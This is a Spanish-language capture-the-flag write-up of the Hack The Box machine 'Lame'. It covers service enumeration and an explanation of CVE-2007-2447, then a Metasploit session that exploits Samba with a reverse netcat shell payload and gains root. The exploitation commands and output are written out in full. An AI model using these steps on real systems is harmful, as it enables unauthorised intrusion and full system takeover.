HTB: Lame
Publicado el 1 de diciembre de 2025
Datos Generales
Lame
Hack The BoxRecursos útiles
Samba - Security Report - CVE-2007-2447: Remote Command Injection Vulnerability
Recopilación de información
Enumeración de Infraestructura
Enumeración de puertos abiertos
Hay diferentes comandos que podemos utilizar a la hora de realizar un escaneo de puertos, la herramienta preferida para muchos es nmap.
Escaneo
Haremos un escaneo para ver los puertos abiertos en TCP y UDP
Recurso útil :D
Por si no sabes que es TCP y UDP, aquí un recurso útil.
nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.129.186.199 ¿Qué hace cada comando?
-sT: Nmap completa el handshake TCP con cada puerto. Es fiable pero más ruidoso (queda registrado en logs).
-p-: Escanea todos los puertos TCP (1–65535).
—min-rate: Fuerza un envío mínimo de 10k paquetes por segundo → Es un escaneo rápido pero agresivo.
-oA scans/alltcp: Guarda resultados en tres formatos (normal, XML, grepable) con el prefijo scans/alltcp.
nmap -sU -p- --min-rate 10000 -oA scans/alludp 10.129.186.199 -sU: Escanea todos los puertos UDP.
-p-: Escanea todos los puertos UDP (1–65535).
nmap -p 21,22,139,445,3632 -sV -sC -oA scans/tcpscripts 10.129.186.199 Con el comando -p podemos escoger los puertos específicos que queremos escanear, que pueden ser el resultado de los ejemplos de los comandos anteriores.
Con el último comando, este es el resultado que nos arroja:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-28 07:19 EST
Nmap scan report for 10.129.186.199
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.24
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 4h39m11s, deviation: 0s, median: 4h39m11s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP\x00
|_ System time: 2019-02-28T06:59:11-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.02 seconds Con esto hecho, ya podemos responder las primeras dos preguntas que nos pide y la número cuatro.
También podemos enumerar el servicio de SMB con smbmap
smbmap -H 10.129.186.199
[+] IP: 10.129.186.199:445 Name: 10.129.186.199
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) Vemos que tenemos permisos de lectura y escritura en el directorio de tmp. Pero si accedemos mediante el inicio de sesión anónimo (-N) no encontramos nada interesante
smbclient -N \\\\10.129.186.199\\tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jul 22 07:39:55 2024
.. DR 0 Sat Oct 31 01:33:58 2020
orbit-makis DR 0 Mon Jul 22 05:25:31 2024
blom N 0 Sun Jul 21 05:14:44 2024
.ICE-unix DH 0 Sat Jul 20 10:23:45 2024
5571.jsvc_up R 0 Sat Jul 20 10:24:46 2024
vmware-root DR 0 Sat Jul 20 10:24:12 2024
.X11-unix DH 0 Sat Jul 20 10:24:12 2024
gconfd-makis DR 0 Mon Jul 22 05:25:31 2024
.X0-lock HR 11 Sat Jul 20 10:24:11 2024
vgauthsvclog.txt.0 R 1600 Sat Jul 20 10:23:44 2024
7282168 blocks of size 1024. 5383888 blocks available How many of the nmap top 1000 TCP ports are open on the remote host? = 4
What version of VSFTPd is running on Lame? = 2.3.4
What version of Samba is running on Lame? Give the numbers up to but not including “-Debian”. = 3.0.20
Resultados
Análisis de vulnerabilidades
Ahora algo importante, si analizaste la salida de los escaneos, te puedes dar cuenta de algo interesante, que es el ftp-anon: Anonymous FTP login allowed
¿Qué es el Anonymous Login?
Significa que el servidor permite conectarse sin usuario real, usando una cuenta pública llamada anonymous. Es un modo histórico del protocolo FTP para compartir archivos sin necesidad de credenciales.
¿Cómo funciona?
Tradicionalmente, el cliente se autentica así:
Usuario: anonymous
Contraseña: cualquier cosa (a veces se pide un correo, pero no se valida)
Si el servidor está configurado para permitirlo, la sesión se abre y puedes acceder a recursos públicos.
¿Por qué existe?
En los 90–2000, muchos servidores ofrecían software o documentación vía FTP sin requerir cuentas. Era equivalente a un “sitio público de descargas”.
Es posible ingresar al servicio ftp con el usuario anonymous, la manera de acceder es con el siguiente comando.
ftp anonymous@10.129.186.199 No obstante el directorio al que accedemos está vacío.
Ahora con respecto a VSFTPD con versión 2.3.4, si investigamos un poco podremos ver que es una versión vulnerable. La vulnerabilidad se da por una copia del paquete oficial fue modificada maliciosamente antes de ser distribuida públicamente en 2011. No fue un bug accidental: fue una compromiso de la distribución, es decir, alguien insertó un backdoor en el binario antes de que llegara a los repositorios de descarga.
¿Qué hace?
El código permitía que si un cliente intentaba iniciar sesión con un usuario que terminara en :), el servidor abría un shell interactivo en el puerto 6200 para el atacante. Esta vulnerabilidad tiene le siguiente CVE
Ahora usaremos searchsploit con SMB para ver que podemos encontrar.
searchsploit "Samba 3.0.20"
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Securi | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results Vemos un resultado interesate, podemos explotar un RCE. La vulnerabilidad fue asignada como CVE-2007-2447, y de forma sencilla Samba permite que algunos valores enviados por un cliente remoto terminaran pasándose al shell del sistema sin limpiarlos bien. Eso significa que, si alguien incluía metacaracteres del shell (como ;, |, etc.), Samba podía interpretarlos como comandos reales del sistema.
En particular:
Si la opción “username map script” estaba activada, Samba podía ejecutar comandos arbitrarios cuando se usaba la función SamrChangePassword.
Incluso usuarios remotos autenticados podían provocar ejecuciones de comandos similares a través de otras funciones MS-RPC relacionadas con la gestión de archivos compartidos.
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) Con esto, podemos responder otra pregunta.
What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the SamrChangePassword function when the “username map script” option is enabled in smb.conf? R = CVE-2007-2447
Explotación
Ahora que sabemos que tenemos una vulnerabilidad, trataremos de explotarla, en la máquina nos menciona probar con Metasploit, vemaos cómo hacerlo y si es posible explotarlo. Para empezar la consola de Metasploit usamos este comando
msfconsole Después seleccionamos el módulo vsftpd_234_backdoor y configuramos el parámetro de rhosts
[msf](Jobs:0 Agents:0) >> use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> set rhosts 10.129.186.199
rhosts => 10.129.186.199
Finalmente ejecutamos el módulo
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> run
[*] 10.129.186.199:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.186.199:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created. No nos creó una sesión así que continuaremos con los demás servicios y podemos responder una de las preguntas
There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here? R = No
Para explotar la vulnerabilidad de Samba seguiremos los siguientes pasos:
msfconsole
[msf](Jobs:0 Agents:0) >> search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check
Description
- ---- --------------- ---- ----- -------
----
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba
"username map script" Command Execution Seleccionamos el módulo:
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat Listamos los parámetros de configuración
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/
basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 94.237.63.192 yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port
<...SNIP...> Para utilizar el módulo, debemos establecer RHOSTS en la dirección IP de destino y LHOST en la de nuestra máquina
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set rhosts
10.129.186.199
rhosts => 10.129.186.199
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set lhost
(nuestra_ip)
lhost => (nuestra_ip) Y ejecutamos el exploit
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> run
[*] Started reverse TCP handler on 10.10.14.24:4444
[*] Command shell session 1 opened (10.10.14.24:4444 -> 10.129.186.199
:58344) at
2024-07-22 07:47:46 -0500
id
uid=0(root) gid=0(root) Con el comando id vemos que tenemos uid en root. También podemos hacer un whoami para ver que somos root y contestar las preguntas finales
Post-explotación - Pillaging
En esta fase, el atacante revisa y extrae información relevante del sistema, en este caso son las banderas
Exploiting CVE-2007-2447 returns a shell as which user? R = root
Las banderas están en /home/makis/user.txt y /root/root.txt
Post-explotación - Escalada de privilegios
En esta máquina no fue necesario realizar técnicas adicionales de escalada de privilegios. El motivo es sencillo: el exploit de Samba que aprovechamos —basado en la vulnerabilidad CVE-2007-2447— no nos entrega un usuario limitado, sino que se ejecuta con los permisos del propio servicio smbd, que en esta versión y configuración corría como root.
El mecanismo interno que lo explica:
El módulo usermap_script manipula cómo Samba interpreta la cadena de autenticación. Samba utiliza esa cadena para ejecutar un “username map script”, y en la versión vulnerable el valor llega al shell sin saneado.
smbd, como servicio del sistema, se ejecuta con privilegios elevados. Cuando el shell invoca metacaracteres, hereda esos privilegios.
Resultado: la sesión inversa que recibimos ya es directamente un root shell.
No hubo escalada porque no existía un usuario intermedio. El fallo es de tal gravedad que elimina la frontera entre servicio y sistema: cualquier código inyectado se ejecuta en el contexto más privilegiado. Esto también explica por qué esta máquina es considerada “Easy”: la dificultad no está en pivotar o elevar privilegios, sino en identificar la vulnerabilidad correcta durante enumeración.
Conclusión
La máquina Lame es un ejemplo clásico de cómo servicios antiguos y aparentemente inofensivos pueden comprometer por completo un sistema. Un escaneo básico reveló versiones obsoletas de VSFTPD y Samba, y aunque el backdoor de VSFTPD no era funcional en esta instancia, Samba sí exponía una falla crítica que permitía ejecución remota de comandos sin restricciones.
El exploit asociado a CVE-2007-2447 convirtió directamente una petición manipulada en un shell con privilegios de root, demostrando por qué mantener servicios legacy sin aislamiento ni endurecimiento es un riesgo evidente. No hubo necesidad de técnicas adicionales de post-explotación ni escalada, lo cual subraya la peligrosidad del fallo: comprometer el servicio equivale a comprometer todo el sistema.
En términos pedagógicos, Lame destaca la importancia de:
-
Enumerar versiones y configuraciones, no solo puertos.
-
Validar cada servicio abierto, incluso los “comunes”.
-
No confiar en configuraciones heredadas.
-
Verificar siempre cómo se ejecutan los servicios en el sistema (usuario, permisos, contexto).
Es una máquina sencilla, pero su lección es profunda: un único servicio mal configurado puede colapsar toda la seguridad de un host.